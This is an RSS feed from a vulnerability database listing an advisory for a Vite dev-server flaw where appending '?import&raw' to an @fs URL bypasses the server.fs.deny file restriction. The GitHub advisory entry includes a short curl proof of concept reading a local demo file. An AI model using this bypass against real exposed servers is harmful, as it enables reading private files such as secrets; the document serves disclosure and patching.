<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 28 Sep 2026 07:44:43 +0000</lastBuildDate>
    <item>
      <title>CVE-2024-45811 — server.fs.deny bypassed when using ?import&amp;raw in vite</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2024-45811</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; vitejs vite&lt;/p&gt;
&lt;p&gt;Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&amp;amp;raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; vitejs vite&lt;/p&gt;
&lt;p&gt;Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&amp;amp;raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2024-45811</guid>
    </item>
    <item>
      <title>GHSA-9cwx-2883-4wfx — Vite's `server.fs.deny` is bypassed when using `?import&amp;raw`</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-9cwx-2883-4wfx</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vite&lt;/p&gt;
&lt;p&gt;### Summary
The contents of arbitrary files can be returned to the browser.&lt;/p&gt;
&lt;p&gt;### Details
`@fs` denies access to files outside of Vite serving allow list. Adding `?import&amp;amp;raw` to the URL bypasses this limitation and returns the file content if it exists.&lt;/p&gt;
&lt;p&gt;### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev&lt;/p&gt;
&lt;p&gt;$ echo &amp;#34;top secret content&amp;#34; &amp;gt; /tmp/secret.txt&lt;/p&gt;
&lt;p&gt;# expected behaviour
$ curl &amp;#34;http://localhost:5173/@fs/tmp/secret.txt&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;lt;body&amp;gt;
      &amp;lt;h1&amp;gt;403 Restricted&amp;lt;/h1&amp;gt;
      &amp;lt;p&amp;gt;The request url &amp;amp;quot;/tmp/secret.txt&amp;amp;quot; is outside of Vite serving allow list.&lt;/p&gt;
&lt;p&gt;# security bypassed
$ curl &amp;#34;http://localhost:5173/@fs/tmp/secret.txt?import&amp;amp;raw&amp;#34;
export default &amp;#34;top secret content\n&amp;#34;
//# sourceMappingURL=data:application/json;base64,eyJ2...
```&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vite&lt;/p&gt;
&lt;p&gt;### Summary
The contents of arbitrary files can be returned to the browser.&lt;/p&gt;
&lt;p&gt;### Details
`@fs` denies access to files outside of Vite serving allow list. Adding `?import&amp;amp;raw` to the URL bypasses this limitation and returns the file content if it exists.&lt;/p&gt;
&lt;p&gt;### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev&lt;/p&gt;
&lt;p&gt;$ echo &amp;#34;top secret content&amp;#34; &amp;gt; /tmp/secret.txt&lt;/p&gt;
&lt;p&gt;# expected behaviour
$ curl &amp;#34;http://localhost:5173/@fs/tmp/secret.txt&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;lt;body&amp;gt;
      &amp;lt;h1&amp;gt;403 Restricted&amp;lt;/h1&amp;gt;
      &amp;lt;p&amp;gt;The request url &amp;amp;quot;/tmp/secret.txt&amp;amp;quot; is outside of Vite serving allow list.&lt;/p&gt;
&lt;p&gt;# security bypassed
$ curl &amp;#34;http://localhost:5173/@fs/tmp/secret.txt?import&amp;amp;raw&amp;#34;
export default &amp;#34;top secret content\n&amp;#34;
//# sourceMappingURL=data:application/json;base64,eyJ2...
```&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-9cwx-2883-4wfx</guid>
    </item>
  </channel>
</rss>
